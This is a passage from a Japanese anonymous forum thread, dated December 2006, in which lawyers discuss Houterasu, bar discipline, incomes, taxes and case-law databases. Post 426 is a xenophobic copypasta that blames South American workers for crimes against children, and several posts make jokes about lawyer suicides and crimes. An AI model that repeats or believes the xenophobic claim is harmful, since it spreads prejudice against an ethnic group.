法テラスに登録してる人って日弁連全体ではどれぐらいいるの?
うちの単位会では6割強の登録らしい

340 :無責任な名無しさん:2006/12/20(水) 22:46:38 ID:CsAxuUGd
>>339
6割も居られるんですか。
信じられないが、まー、ご苦労さんです。


341 :無責任な名無しさん:2006/12/20(水) 23:08:41 ID:5zLwGOzb
びっくりした
宅弁,軒弁向けにこんな商売も始まっているんだね
ツカサのワンワンオフィスとかと実際何が違うんだろうと問いつめたい
弁護士の未来がマジ心配

http://www.theo-kt.com/index.html
http://www.theo-kt.com/02-1.html

342 :無責任な名無しさん:2006/12/21(木) 00:21:28 ID:3RnW4VS+
>>341
マルチポストやめれ

343 :無責任な名無しさん:2006/12/21(木) 01:24:45 ID:tUR5Dh6I
宣伝?

でも、面白いこと考える人がいるなぁ、と素直に思った。

344 :無責任な名無しさん:2006/12/21(木) 02:05:57 ID:tUR5Dh6I
でも、確かに色々なところに貼ってるね・・・。
困ったものだ。

345 :無責任な名無しさん:2006/12/21(木) 08:26:25 ID:vRz5VCEw
>>343
法律事務所を作る、という独立支援本も出しているよね。
中身を読むと大半が宣伝。

もう一つのK弁護士の書いた本もなんだかな、という感じ。

346 :無責任な名無しさん:2006/12/21(木) 09:45:45 ID:x/j9nYMY
昨日の逮捕者

大阪  1名

347 :無責任な名無しさん:2006/12/21(木) 10:22:10 ID:uskMwpig
軒弁って、狭い地方会だと問題が起きそうな気がする。
軒弁は基本的に居候先の弁護士とは仕事は完全に別個なわけでしょ?
でも、事務所所在地は同じだから、依頼人から見れば同じ事務所所属の人間だよね。
こうなると、軒弁が受けた事件の相手方が居候先だった、てなことも起こってきて、
依頼人からすればかなりアレなんではないかと。

今でも、地方会では共同事務所の一人が個人で受けた事件の相手方が、
同じ共同事務所の別の弁護士に相談してた、なんてことが起こったり
するわけで。
共同事務所なら事務所会議開いて事件の整理をやったりしてるだろうけど、
軒弁はそんなことしないでしょ?訴訟になって初めて分かったりすることが
生じるような。

348 :無責任な名無しさん:2006/12/21(木) 10:24:17 ID:7kOZEMxu
>>347
> 共同事務所なら事務所会議開いて事件の整理をやったりしてるだろうけど、
→そんな事務所の方が少数だろ?

349 :無責任な名無しさん:2006/12/21(木) 11:15:23 ID:UOJ/Zr2Z
なんかうさんくさい大学のサイト見つけた

http://www.cyber-u.ac.jp/index.html

350 :無責任な名無しさん:2006/12/21(木) 15:57:23 ID:x/j9nYMY
今年の破産事件受理件数はどうやら最盛期に比べて4割減ぐらいのようだな。

351 :無責任な名無しさん:2006/12/21(木) 19:23:12 ID:FCMc5CKO
>348
事務所会議という形を取るかどうかはともかくとして、同じ事務所の
別の弁護士が受けてる事件の相手方からの相談・依頼ではないか、
チェックする機能はどこの事務所だって何かしらあるだろ。
そういうのがないと、いつか問題起こしそうだぞ。

352 :無責任な名無しさん:2006/12/21(木) 19:26:31 ID:VUdr7s2A
>>351
相談受けた段階で相手方の弁護士は誰か判るのでは?

353 :無責任な名無しさん:2006/12/21(木) 20:44:58 ID:FCMc5CKO
訴訟事件や既に相手方代理人から文書が来ている事件なら分かるだろうけど
紛争当事者が双方まだ弁護士に相談段階だったりすれば、相手がどこの
弁護士に行ってるかなんて分からないだろ。

354 :無責任な名無しさん:2006/12/22(金) 09:17:47 ID:3rIWk4PB
相談で終わった奴なんかいちいちわからないよね





355 :無責任な名無しさん:2006/12/22(金) 09:20:31 ID:3rIWk4PB
某MLを読んでの感想

1 マイナーな判決欲しいんだったら相手に出させろよ
2 ボス弁居るんだろそいつに聞けよ
3 手間がかかった事情を書けばいいだろ。何も勉強せずに慰謝料請求とか行ってるんじゃねえぞ。ネット上にすらいくらでもネタは落ちてるだろ。

考えずに聞くなボケ

356 :無責任な名無しさん:2006/12/22(金) 09:38:04 ID:IKCgmYqT
>>355
あれくらいなら全然OKだと思うけどな。

それより、変な政治運動を呼びかけるようなのが一番ウザイ。
カムじゃないMLね。

あと某刑事系で、
ある人が準抗告が通った等の報告があり(この投稿はOK)、
これに対し、常連が「おめでとうございます、すごいですね」と投稿し(この投稿はウザイ)、
これに対し最初の人が「いやーそれほどでも・・」と回答するやりとりは本当に迷惑。

ML上でやらずに個人アドレスに勝手に祝辞を述べればいいのに。

357 :無責任な名無しさん:2006/12/22(金) 10:11:48 ID:84nK8+9N
ある男が、自分を愛している3人の女の中で誰を結婚相手にするか長いこと考えていた。
そこで彼は3人に5000ドルずつ渡し、彼女らがその金をどう使うか見ることにした。

一人目の女は、高価な服と高級な化粧品を買い、最高の美容院に行き、自分を完璧に見せるためにその金を全て使ってこう言った。
「私はあなたをとても愛しているの。だから、あなたが町で一番の美人を妻に持っているとみんなに思ってほしいのよ」

二人目の女は、夫になるかも知れないその男のために新しいスーツやシャツ、車の整備用品を買って、残らず使いきると、こう言った。
「私にとってはあなたが一番大切な人なの。だからお金は全部あなたのために使ったわ」

最後の女は、5000ドルを利殖に回し、倍にして男に返した。
「私はあなたをとても愛しているわ。お金は、私が浪費をしない、賢い女であることをあなたに分かってもらえるように使ったのよ」

男は考え、3人の中で一番おっぱいの大きい女を妻にした。

358 :無責任な名無しさん:2006/12/22(金) 11:06:33 ID:uq7Qig9v
キモメンまじめ:がり勉 イケメンまじめ:知的
キモメンマッチョ:デブきもい      イケメンマッチョ:スポーツマン
キモメン暗い:根暗キモイ        イケメン暗い:クール
キモメン面白い:笑われ者        イケメン面白い:人気者
キモメン高学歴高収入:金の亡者   イケメン高学歴高収入:エリート
キモメンリーダー:調子に乗るな   イケメンリーダー:頼りがいがある
キモメンおしゃれ:勘違いもいいとこ イケメンおしゃれ:イケテル
キモメンやさしい:ピエロ   イケメンやさしい:いい人
キモメン低身長・高身長:キモイ・怖い   イケメン低身長・高身長:カワイイ・カコイイ
キモメンフリーター:さっさと就職しろボケ   イケメンフリーター:夢に向かってがんばってね
キモメンマニア:おたくキモイ、敬遠される   イケメンマニア:流行の発信源、関心持たれる
キモメン子供好き:ロリコン、犯罪者予備軍  イケメン子供好き:心優しい人

キモメンが告白 : きもっ、ストーカー!!
イケメンが告白 : 嫁にしてクダサイ
キモメン新入社員 : 歓迎会無し
イケメン新入社員 : 歓迎会あり、なぜか他部署からも女子社員が参加
キモメンが美容院 : 営業妨害
イケメン美容院へ : ようこそいらっしゃいました
キモメン一人旅 : 自殺だけはするなよ
イケメン一人旅 : ロマンスたっぷり
キモメン、ブスと付き合う : 底辺同士でお似合いね(藁
イケメン、ブスと付き合う : 女性を顔で判断しない、とても純粋な心の持ち主
キモメン、美人と付き合う : ついに援交か・・・落ちたな
イケメン、美人と付き合う : あ〜ん、理想のカップル
キモメン独り暮らし : 孤独死確定ね
イケメン独り暮らし : 御飯作りにいってあげる!


359 :無責任な名無しさん:2006/12/22(金) 18:54:13 ID:UrA++e7S
>>355
そうかぁー。ただただ絶句だ。本当に弁護士? 俺には高校生ぐらいにしか思えん。

360 :無責任な名無しさん:2006/12/22(金) 20:08:14 ID:XxU6qLB7
東京の人に聞きたいんだけど、東京での法テラスの登録率ってどれぐらいなの?


361 :無責任な名無しさん :2006/12/22(金) 22:42:24 ID:AkWMgsij
悪徳弁護士の見分け方
http://kinyuguide.blog64.fc2.com/blog-category-17.html

362 :無責任な名無しさん:2006/12/23(土) 00:11:37 ID:YaFoKPco
>>361
これって、誰?テレビによく出ていた人?

> さらに、弁護士の特権を利用した悪事も後をたたない。最近では
> テレビ局の依頼によって有名俳優や歌手などの芸能人の戸籍や住民
> 票の調査、取得を行い、弁護士会の綱紀委員会から懲戒相当である
> 旨の調査結果を受けた弁護士もいる。

> 興信所などと組み、戸籍取りのアルバイトをする弁護士は確かにい
> ます。

>  弁護士は職務上の請求といい、書類1枚で他人の戸籍謄本なり抄
> 本を自由に取得できます。

> 弁護士はその用紙を1枚7円で買えるのですが、興信所に横流しす
> ればその1枚が3万円ほどになる。こうした用紙が1冊50枚つづ
> りで350円で買えるので、数百円が瞬く間に数百万円単位の金額
> になるわけです。

363 :無責任な名無しさん:2006/12/23(土) 01:01:23 ID:hJ7KMC+8
>>355
こんなとこでグダグダいってんじゃねえよ
Camに投稿しろよ

364 :MS754 ◆yGUnQdhyV2 :2006/12/23(土) 18:11:18 ID:H87zVxC4
本日の果物
ミカン 1箱(10s)

累計
イチゴ(あまおう) 12パック リンゴ 16個
洋ナシ 9個  ミカン 7箱(10sが6箱 5kgが1箱)

自宅にミカンが溢れてしまう・・・・・・・。


365 :無責任な名無しさん:2006/12/23(土) 18:20:44 ID:HmVJS4RV
MS先生とこは事務員さんは何人いますか。
私とこは、弁1事1ですが、

頂き物は、大体、3分の1は事務員さんに分けてあげてます。
だから、まずは自宅での処理に困ることはないです。

イソ弁の時の事務所では、
私宛のお歳暮なども、事務長が勝手にボスの自宅に運んでいました。




366 :無責任な名無しさん :2006/12/23(土) 20:44:00 ID:BtwrhsWE
>>362
名前は書けません

367 :MS754 ◆yGUnQdhyV2 :2006/12/23(土) 23:03:24 ID:H87zVxC4
>>365
近接士業の先生との共同事務所であることを別にすれば、法律事務所としては
零細の部類です。事務所に来たものは事務局で全体に適当に分けています。
ただ、同じ種類のもの(今回はミカン)が集中すると、辞退者があいついで
最終的には私が引き取ることになります。
今年は、手足が黄色くなりそうです(笑


368 :無責任な名無しさん:2006/12/24(日) 00:42:26 ID:ycC5oEmx
みかんは値段が高騰してるから貴重だぞ。

いや高騰したから貴重ってこともないか。

このスレは田舎で一人事務所開いてる先生が多いのかね?

369 :無責任な名無しさん:2006/12/24(日) 03:28:47 ID:Kwn13TOm
さっきから、ネットでこんな噂が流れているんだが・・・

アメリカ軍、嘉手納基地や三沢基地また韓国にある基地から続々と北朝鮮方面へ飛行機が出撃?
http://zetubou.mine.nu/itoshiki/nozomu/zetubou3500.jpg



370 :無責任な名無しさん:2006/12/24(日) 10:21:42 ID:Kwn13TOm
    アンアン
       o
    o_ /)
     /<<

12月24日の午後9時から翌25日の午前3時までの6時間は
1年間で最もセックスをする人の多い「性の6時間」です。

貴方の知り合いや友人ももれなくセックスをしています。
普段はあどけない顔して世間話してるあの娘もセックスをしています。
貴方が片想いしているあの綺麗な女性もセックスをしています。
貴方にもし年頃の娘さんや姉・妹がいて、いま家にいないのでしたら間違いなくセックスしてます。
貴方と別れたあの娘も貴方がその娘にやってきたことを別の男にやられています。
貴方の将来の恋人や結婚する相手は、いま違う男のいちもつでヒィヒィ言っています。
すべてを諦めましょう。
.:| . :|     .! .l .l .i:
.:| . :|     .! .l .l .i::l
.:| .__|     :| .i .i .|.:!     _   | |
.:|::||□| ̄ ̄ ̄〜〜〜     /\ \||
└l[ ̄]-――――      |\| ̄|=| |コ=
:::::::~<⌒/ヾ-、__     |\.|  |||
::::/<_/____ノ.     \.|_|.||        




371 :無責任な名無しさん:2006/12/24(日) 12:17:46 ID:zMZGiT5J
年末進行で起案ラッシュ。
有馬記念みて、明石家サンタみてクリスマスは終わり。
来年の期日の準備も完了させられたら良いのだが。

372 :無責任な名無しさん:2006/12/24(日) 12:34:32 ID:n2YX3KMl
>>370
又出たか
持てない素人童貞君

373 :無責任な名無しさん:2006/12/24(日) 16:59:15 ID:DI2VWbWz
法テラスが
任意整理事件で過払金を取り返した弁護士の報酬を減額する
という方針を立てたそうです。
それも
新たな基準を立てた時点からではなく
新基準は遡って適用されるとのことです。
私は普段,法テラスをあまり利用しませんが
こんな話を聞いたら,
法テラスから任意整理をやってくれとの依頼がきても
やりたくないなー。

374 :無責任な名無しさん:2006/12/24(日) 17:22:02 ID:S8TDiv65
今年は完全給料制のイソ弁からパートナーになって、まあなんとか
それなりの売上げも上がって、去年よりわりと収入が増えたかなーと
思ってたら、試しに税金を試算してみたところ、えらいことになりそうだ。
給与所得控除がなくなり、個人事業税が加わり、税率が急上昇するから、
税金もうなぎ登りに。
消費税の納税義務がないのがせめてもの救いか。
といっても、実際はたいした稼ぎでもないんだけど、去年と比べると・・・
恐るべし、税金!

375 :無責任な名無しさん:2006/12/24(日) 17:24:02 ID:MYbkHMBc
任意整理で法テラスなんか利用しない。

376 :無責任な名無しさん:2006/12/24(日) 17:24:50 ID:n2YX3KMl
>>374
1000万はあるだろ?まあ,実際の適用は数年後だろうが

377 :無責任な名無しさん:2006/12/24(日) 17:29:09 ID:Vas676fc
素朴というか素人くさい(実際ド素人です)質問で恐縮なんですが
債務整理をうたい文句にしている法律事務所ってありますよね
電車の中吊り広告でもびっくりするほど弁護士事務所の広告を見かけます
ホー○ロイヤーズとかア○ィーレとか事務員を大量に抱えて量で勝負しているみたいですが
ああいうところってグレーゾーン金利が改正された場合やっていけるのでしょうか


378 :無責任な名無しさん:2006/12/24(日) 18:47:17 ID:xSwupKAB
法テラス、新人弁護士を直接採用

http://www.asahi.com/national/update/1223/TKY200612230286.html

379 :無責任な名無しさん:2006/12/24(日) 18:50:43 ID:ACqkQdPG
>>378
うぜぇ被疑者国選とか、刑事関係は全部法テラスの弁護士でやってもらいたい

380 :無責任な名無しさん:2006/12/24(日) 19:22:24 ID:knsi3N8g
>>377
やさしい法律相談part199
http://school5.2ch.net/test/read.cgi/shikaku/1166778912/

381 :無責任な名無しさん:2006/12/24(日) 23:05:30 ID:KrXpLrBd
ひたすら仕事に精を出す聖夜。

(今年中にやること)
・法人の破産申立(裁判所仕事納めの日に予定)
・分厚い書証をまとめて提出(裁判所に「年内に」と言われてる)
・控訴趣意書(年明けすぐに提出期限が来る)
・散髪
・年賀状
・お年玉用の現金の引き出し

382 :無責任な名無しさん:2006/12/25(月) 01:47:19 ID:sGrIKBCJ
法テラス弁護士の10年後はどうなるんだろうね
判検事ならその頃から1000万越え始めるけど、
法テラス弁護士は最長9年でお払い箱
年金もあまり払わなくていいし、
国にとっては都合のいい存在だね
3年で首切って回していくのが最も効率的だろうね



383 :氏名不詳:2006/12/25(月) 02:25:59 ID:BKQq6BgX
すいません。現行修習生なんですけど、、
一般民事のイソ弁(登録後3年以上)が、個人事件自由だとして、都内で、年収1000万円(経費・税抜き)を稼ぐのって、けっこう大変なんでしょうか。
将来のことは、分からないとしても、55期以降の先生たちは、現在、都内でぶっちゃけ、どれくらい稼いでいらっしゃるのでしょうか。



384 :無責任な名無しさん:2006/12/25(月) 03:36:22 ID:z4eZgnN/
      r ‐、
      | ○ |         r‐‐、
     _,;ト - イ、      ∧l☆│∧  良い子の諸君!
    (⌒`    ⌒・    ¨,、,,ト.-イ/,、 l  早起きは三文の得というが、
    |ヽ  ~~⌒γ⌒) r'⌒ `!´ `⌒)今のお金にすると60円くらいだ。
   │ ヽー―'^ー-' ( ⌒γ⌒~~ /|  寝てたほうがマシだな。
   │  〉    |│  |`ー^ー― r' |
   │ /───| |  |/ |  l  ト、 |
   |  irー-、 ー ,} |    /     i
   | /   `X´ ヽ    /   入  |



385 :無責任な名無しさん:2006/12/25(月) 04:06:55 ID:wkrY87FC
>>384
ていうか、逆に、もの心が有る間を70年生きるとして、
365日×70年=25550日   25550日×60円=153万3000円
一生で153万3000円得だけ。

逆に
一日一時間長く起きていたとすると  25550日×一時間=2万5千550時間長生き
で、一日16時間起きていたとすると
2万5千550時間÷16時間=1596.875日長生き  1596.875日÷365日=4.375年長生き

一日一時間長く起きていると4.375年長生きした事になる。
どっちが得かよ〜く考えてみよう。

386 :無責任な名無しさん:2006/12/25(月) 08:51:30 ID:8RtPH9BX
>>383
甘すぎ

387 :無責任な名無しさん:2006/12/25(月) 10:10:28 ID:uweFkN9+
登録3年以内で,経費・税抜きの所得が1000万円超える一般民事のイソ弁なんて,昔からほとんどいない。

漏れは地方にいるので,3年目でそのくらい稼いでるけど,それも過払いバブルのおかげでしかない。3年後はそんな収入はないだろう。

388 :無責任な名無しさん:2006/12/25(月) 10:15:41 ID:QbUtMHlh
登録3年目程度ではたいしてベースアップしないよ
せいぜい初年俸の1.2〜1.5掛けくらい
個人事件のアガリの増加がほとんどだよ

389 :無責任な名無しさん:2006/12/25(月) 13:43:26 ID:lIxolCa4
>>385
寝る時間を減らすとその分寿命が縮むと思うけどね。


390 :無責任な名無しさん:2006/12/25(月) 14:05:59 ID:fGf4pgji
いっぱい寝ても寿命は縮むらしいよ。

391 :無責任な名無しさん:2006/12/25(月) 14:19:50 ID:CxJ/8kfW
縮んだかどうかなんて、どうやって検証するんだ?

392 :無責任な名無しさん:2006/12/25(月) 14:26:22 ID:fGf4pgji
金槌で頭を殴ったときに出るエクトプラズムを、メジャーで
測るんだよ。

393 :無責任な名無しさん:2006/12/25(月) 14:28:26 ID:QbUtMHlh
地獄の生命蝋燭をメジャーで計測汁

394 :無責任な名無しさん:2006/12/25(月) 14:49:49 ID:jCNcGXwV
>>387
俺給料込みなら超えるけどな
個人だけなら1000に届かないくらい

もっとも上納後となると話は異なるアーヤダヤダ

395 :無責任な名無しさん:2006/12/25(月) 15:03:23 ID:8fwkR4NC
>>394
税金払ってないだろ?

396 :無責任な名無しさん:2006/12/25(月) 15:46:53 ID:jCNcGXwV
>>395
税引き前だね。

397 :無責任な名無しさん:2006/12/25(月) 16:00:51 ID:GY6P8d/o
経費・税金抜きで一千万という話に、経費(上納)も税金も抜かずに颯爽と登場

398 :無責任な名無しさん:2006/12/25(月) 20:28:23 ID:X6Z9Y3E8
893でいう上納金
弁護士会からとられる収奪=税金と同じか。

これ、ホントに何とかならない?
いずれ、弁護士会は任意加入になるだろうが。それまで生きているのか・・・。


399 :無責任な名無しさん:2006/12/25(月) 20:39:57 ID:sGrIKBCJ
まず法テラス弁護士が会費免除になる
そうするとほかの弁護士から一斉に不満がふきだす
なしくずし的に会費値下げの方向に向かう

400 :無責任な名無しさん:2006/12/26(火) 05:54:21 ID:7Zkmel8C
会費免除にならないって決まったんじゃないの

401 :TN ◆gpUt4wjlSk :2006/12/26(火) 12:37:24 ID:5xUwfqFk
皆様ご無沙汰してます。
一時は2ちゃん中毒でしたが,皆様に袋だたきにあったおかげで退場することが出来ました。
最近はもっぱらネットで投資にはしっております。
以前よりは有意義な時間を過ごしており退場できてよかったと思っています。

少し早いですが,皆様よいお年を。

402 :無責任な名無しさん:2006/12/26(火) 13:11:48 ID:Q3XSbuK5
任意加入になったら、懲戒制度はどこに持っていく?
裁判所や法務省に懲戒処分を下してもらうか?
まず、任意加入にはならない。

403 :無責任な名無しさん:2006/12/26(火) 13:14:29 ID:Mv7xNVHF
儲かりましたかな?
良いお年を。

404 :無責任な名無しさん:2006/12/26(火) 15:11:09 ID:27wrbcNe
年明けは何日から?

405 :無責任な名無しさん:2006/12/26(火) 15:12:13 ID:27wrbcNe
年明けは何日から?

406 :無責任な名無しさん:2006/12/26(火) 15:42:59 ID:dSqFXZ5+
ふかわりょうかよ

407 :無責任な名無しさん:2006/12/26(火) 16:02:07 ID:lt6AEvI4
昨日ネプリーグ見てたら、橋下弁護士が湯浅卓に
「あなたホントに資格もってんですか」と突っ込んでいた。
プチ笑った。

408 :無責任な名無しさん:2006/12/26(火) 17:50:12 ID:E0Ns8yOu
>>407
湯浅って,どこの弁護士資格持ってるの?

409 :無責任な名無しさん:2006/12/26(火) 18:24:27 ID:zbfxTrej
>>408
ny州じゃなかったっけ。

410 :無責任な名無しさん:2006/12/26(火) 22:01:01 ID:/GS1dTP8
>>402
懲戒制度、懲戒処分は弁護士にとって自明のものかいな。
任意団体になったら、そんなものは必要ないだろ。
医師会、司法書士会、税理士会、その他にそんなものが有るかい。


411 :無責任な名無しさん:2006/12/26(火) 22:12:37 ID:o+TNXUqP
弁護士が代理人交渉したオリッ鉄の中村ノリ、自由契約にしてくれと
言い出したそうだね。なんだかもうぐだぐだ。
弁護士大増員を押し進める宮内の球団ってのにもなんか因縁を感じる。

412 :無責任な名無しさん:2006/12/26(火) 22:20:44 ID:mz2f2k3m
>>410
任意団体になったら弁護士会の懲戒権が失われる。
そうすると今度は法務省が弁護士の懲戒権を握るようになるだろう。
あとは推して知るべし。
戦前に逆戻り。

413 :MS754 ◆yGUnQdhyV2 :2006/12/26(火) 22:21:14 ID:0FZzY+u5
新年は、建前的には9日から、実は4日から。

414 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/12/27(水) 02:07:29 ID:bmMpVAmw
今日27日が当番待機日なので,その結果次第で年末年始の予定が大きく変動します。

415 :無責任な名無しさん:2006/12/27(水) 02:38:11 ID:2H3/07RJ
論文でPC自作についてやっているのですが、アンケートにご協力いただけないで
しょうか。よろしくおねがいします。(宣伝すみません。)
https://secure.mynetworks.co.jp/formmail/00063485/

416 :休憩中 ◆tr.t4dJfuU :2006/12/27(水) 02:41:52 ID:TXnHjUTC
通再の監督委員打診きた。
28日に審尋できませんか?って。
無理。

417 :無責任な名無しさん:2006/12/27(水) 04:18:35 ID:xxNteQd9
28日,午後,準抗告申立書を裁判所に持っていかないといけない。
なんか,支援者やメディアが来るかも知れない。
その他,相談2件予約。打ち合わせ1件。

今日事務員さんから,妻に対して,「お客様からの贈り物が沢山事務所に
置いてあるのですけど,先生が自宅に持ち帰らないので,宅配便でご自
宅送って良いですか」と電話があったらしい(妻からの伝聞)。

 証拠排除に関する意見書(伝聞)も書かないといけない。

418 :無責任な名無しさん:2006/12/27(水) 06:25:40 ID:VCxzUS+N
>>411
小職は宮内関連の企業には一切手加減をしないことにしている。
少額であろうと徹底的に争って司法コストを痛感してもらう。
増員を提案したことを懲りてもらうため。

419 :無責任な名無しさん:2006/12/27(水) 06:29:15 ID:VCxzUS+N
医師は厚生労働省,司法書士は法務省,税理士は金融庁・国税庁によって懲戒処分がされるから・・・。
って知らないのかよ!? 研修所の民事弁護・刑事弁護の白表紙の最初のところを読み直せ。
法務省や地検検事正に懲戒審査されるのと,弁護士会に懲戒審査されるのと,どっちがいいかという話。


420 :無責任な名無しさん:2006/12/27(水) 10:04:41 ID:j3ZsCorL
明日期日が入ってるね 俺の場合
正月中に当番が入ってるね 俺の場合
どうせ懲戒されるなら弁護士会の方が良いね 俺の場合

421 :無責任な名無しさん:2006/12/27(水) 11:03:41 ID:9wHoffBy
中坊大先生を助けるために弁護士自治は立派に機能したのですよ。
ねえ大阪の先生方。

422 :無責任な名無しさん:2006/12/27(水) 11:05:17 ID:C/OeEqDP
俺なんか31日まで当番入ってんだぜ

423 :無責任な名無しさん:2006/12/27(水) 12:27:08 ID:v5x5ZCH/
ここのところ当番が2回連続で出動なしだったなぁ

424 :無責任な名無しさん:2006/12/27(水) 14:52:42 ID:FkpgAEFq
井上薫さんは貸金業者と仲良くしたいみたいだね。
http://www.ncbi.jp/seminar/inoue_k.html

425 :無責任な名無しさん:2006/12/27(水) 16:05:11 ID:j3ZsCorL
>>424
最高裁の気持ちがわかるねw

426 :無責任な名無しさん:2006/12/27(水) 16:11:39 ID:j3ZsCorL
★★★ 子 供 へ の 犯 罪 の 増 加 の 本 当 の 原 因 は 経 団 連 だ ! ! ★★★

【事件】 11歳女児への強姦致傷容疑でブラジル国籍の男を逮捕、容疑を認める・・・静岡県
http://news19.2ch.net/test/read.cgi/newsplus/1163912982/l50

愛知県(トヨタがある)内の女性、子どもを対象とする犯罪発生が南米系労働者を輸入してから激増
↓愛知県警のHPにあるグラフ
http://www.pref.aichi.jp/police/safety/zyosei_kodomo/suii.html
同じことが静岡(ヤマハ)のほか、広島(ペレス被告、マツダ)、三重(ホンダ、シャープ)、
栃木(ホンダ) と経団連加盟企業・主要輸出企業の城下町で起こっており、
政府公安関係者はみんなこのことを知っています。
しかし、経団連から献金タンマリの安倍自民党はこの事実を黙殺。
それどころか、南米系労働者の犯罪を日本人の犯罪が増えているかのように印象操作し、
メディア規制強化への口実にしようとしています。


427 :無責任な名無しさん:2006/12/27(水) 17:26:54 ID:VOOsuIca
>>424
もともと免責に関してすばらしい内容の書籍を出していたしねw

428 :無責任な名無しさん:2006/12/27(水) 19:57:08 ID:dc0er2kc
>>424
こういう人は飼い殺すことができなかったのかな、最高裁さん。
小笠原諸島とかに支部を作って派遣するとか、沖の鳥島の法の番人をやらせるとか。
あと、難局の昭和基地支部とか。

429 :無責任な名無しさん:2006/12/27(水) 20:02:28 ID:Bdds+Ded
法務省も最高裁も日弁連も法曹人口が増大して喜ばないだろうに。
大学の学者(法曹資格がないロースクール教授)たちが賛同したの?
どうして日弁連は法テラスを容認したの?
日弁連ってなんのためにあるの?
あの選挙活動はいちじるしく「非民主的」じゃない?

430 :無責任な名無しさん:2006/12/27(水) 20:59:28 ID:XXzGwTX3
来年は弁護士バブル崩壊元年だな。

431 :無責任な名無しさん:2006/12/27(水) 21:22:00 ID:dc0er2kc
そっか。弁護士業って、今までながーいバブルだったのか。
そう考えれば、妙に納得。

432 :無責任な名無しさん:2006/12/27(水) 21:24:12 ID:9wHoffBy
就職無くて自殺者が出る悪寒

433 :無責任な名無しさん:2006/12/27(水) 21:37:33 ID:9C04ye0h
タクシードライバーか配管工で食いつなぐのがUSAのデフォ

434 :無責任な名無しさん:2006/12/27(水) 21:37:34 ID:CoSspWst
自殺者と犯罪者のどっちが先に出るかな?
早めにショッキングな事件を起こして,法曹人口抑制論の礎となっていただきたい。

435 :無責任な名無しさん:2006/12/27(水) 21:38:52 ID:9C04ye0h
もう業務上横領の犯罪者が次々でてるお

436 :無責任な名無しさん:2006/12/28(木) 03:45:55 ID:W1Pa2SV0
>>429
日弁連は左翼弁護士のためにあるんだよ

437 :無責任な名無しさん:2006/12/28(木) 03:46:14 ID:RZTyE09B
あんなのではパンチが効いていない

438 :無責任な名無しさん:2006/12/28(木) 11:29:08 ID:mRtvC9OA
いや、司法試験改革で、弁護士増を訴えた現役弁護士達はけっこう動いていたよ。
もし弁護士会が頑なに反対していたらそう簡単に改革はされなかった。
法務省、裁判所は合格者が増えれば優秀な人材を集めやすいと最初から
賛成だったと思うけど。

439 :無責任な名無しさん:2006/12/28(木) 11:49:24 ID:h08Qu9L9
法曹増員の恩恵をこうむった奴に限って更なる増員反対って言うんだろうな

440 :無責任な名無しさん:2006/12/28(木) 11:56:04 ID:4h1qtCUV
愚痴っても仕方ないから前向きに考えたら、新人の就職難なんて
おれたちにカンケーないし。
弁護士増えたら国民年金基金が破綻せずに済むとか、地方でも
健康保険共済ができるかもとか(年間50万も60万も健康保険税
払うのはきついよ)。

441 :無責任な名無しさん:2006/12/28(木) 12:00:24 ID:/apdoR2W
>>437
新規登録した自宅弁護士が金に困って,強盗をするとか,弁護士会の金品を横領するとか。
登録費用を稼ぐために風俗嬢になるとか,研修所でクラスメイトから集めたクラス旅行の金をねこばばするとか。。
登録直後に個人再生を申し立て,あるいは,修習終了直後に破産手続をして免責になってから弁護士登録する奴が多発するとか。
そういえば法務事務次官宅にボーガンを撃ち込んだ受験生が昔いたなあ。


442 :無責任な名無しさん:2006/12/28(木) 12:00:58 ID:/apdoR2W
>>440
増えた弁護士が国民年金基金に加入できる資力があればの話。

443 :無責任な名無しさん:2006/12/28(木) 12:03:46 ID:/apdoR2W
法務省前の陸橋から投身するとか。

444 :無責任な名無しさん:2006/12/28(木) 12:21:01 ID:fW1AhJTa
弁護士会館の屋上から法務省側に投身では?

445 :無責任な名無しさん:2006/12/28(木) 12:35:24 ID:4Gi6fGbs
年末でも何も片付いてない
イソ弁の年末も今年限りか

446 :無責任な名無しさん:2006/12/28(木) 12:37:36 ID:fW1AhJTa
>>445
独立おめーです

447 :無責任な名無しさん:2006/12/28(木) 12:40:42 ID:6kwjgLla
弁護士が増えないように新人の採用を絶対にしないことにするとか。

448 :無責任な名無しさん:2006/12/28(木) 12:44:03 ID:4Gi6fGbs
>>446
60期と入れ替わりなので,実はまだボスに入っていません。
しかしながら,上納がばからしい。給料より多いときが数ヶ月に1度ある。

449 :無責任な名無しさん:2006/12/28(木) 12:44:15 ID:4Gi6fGbs
入っていません→言っていません

450 :無責任な名無しさん:2006/12/28(木) 13:09:42 ID:xRdHofi2
>>445
どこで独立するの?

451 :無責任な名無しさん:2006/12/28(木) 13:51:22 ID:4Gi6fGbs
内緒です
今月も上納金が給料を超えました
ボーナスはもらえませんでした

452 :59期:2006/12/28(木) 16:11:19 ID:3bpLfgo8
みなさん、判例検索ってどうしてます?
ネットの検索システムに加入してたりするんでしょうか?
なかなかお高いなぁ、使えるのかなぁ、と思って、二の足を踏んでます
事務所で入ってるってところが多いんですかねぇ

453 :無責任な名無しさん:2006/12/28(木) 16:12:30 ID:3csriV8C
>>452
高いよなあ
もうずっと使って再リース的状態なのにまだ月額2万
いい加減にしてほしいな

454 :59期:2006/12/28(木) 16:23:46 ID:3bpLfgo8
>453
ですよねぇ
顧客層が狭いから高くならざるをえないでしょうか…
ううむ。悩みます。

455 :無責任な名無しさん:2006/12/28(木) 16:28:12 ID:7yX2h2Ba
2万でも高いとは思わないけど。
メシ食うために必要なものだし。
そういうところには投資は惜しまないほうがいいと思うよ。
もうちょっと安いと嬉しいけどね。

456 :無責任な名無しさん:2006/12/28(木) 16:28:24 ID:h08Qu9L9
とりあえず判例マスターなら月5000円で済む

457 :無責任な名無しさん:2006/12/28(木) 16:31:34 ID:3csriV8C
>>455
まあ,そう思ってずっと続けているんだが
これ以下では採算取れないだろうしね
判例を法令のように無償でネット上に公開してほしいのだが,それは無理だろうなあ,という愚痴です

458 :無責任な名無しさん:2006/12/28(木) 16:45:07 ID:POubTQEH
判例マスターはやめたほうがいい。
結局文献にあたらないといけないから。
判例秘書がやっぱ使いやすいなぁ。
俺が出す裁判例書証が判例タイムスが多いのはご愛敬。

459 :無責任な名無しさん:2006/12/28(木) 16:59:27 ID:1qtMcRTr
判例秘書っていろんな雑誌が使えるみたいだけれども
あれはオプションなんですか?
デフォルトは判例タイムズだけとかなんでしょうか?
あと値段はいくらくらい?

460 :無責任な名無しさん:2006/12/28(木) 17:10:19 ID:GatF1rg2
http://www.hawayu.com/

461 :無責任な名無しさん:2006/12/28(木) 17:19:07 ID:4h1qtCUV
>>459
雑誌DVDはオプション(というか、各雑誌だけでも可)。
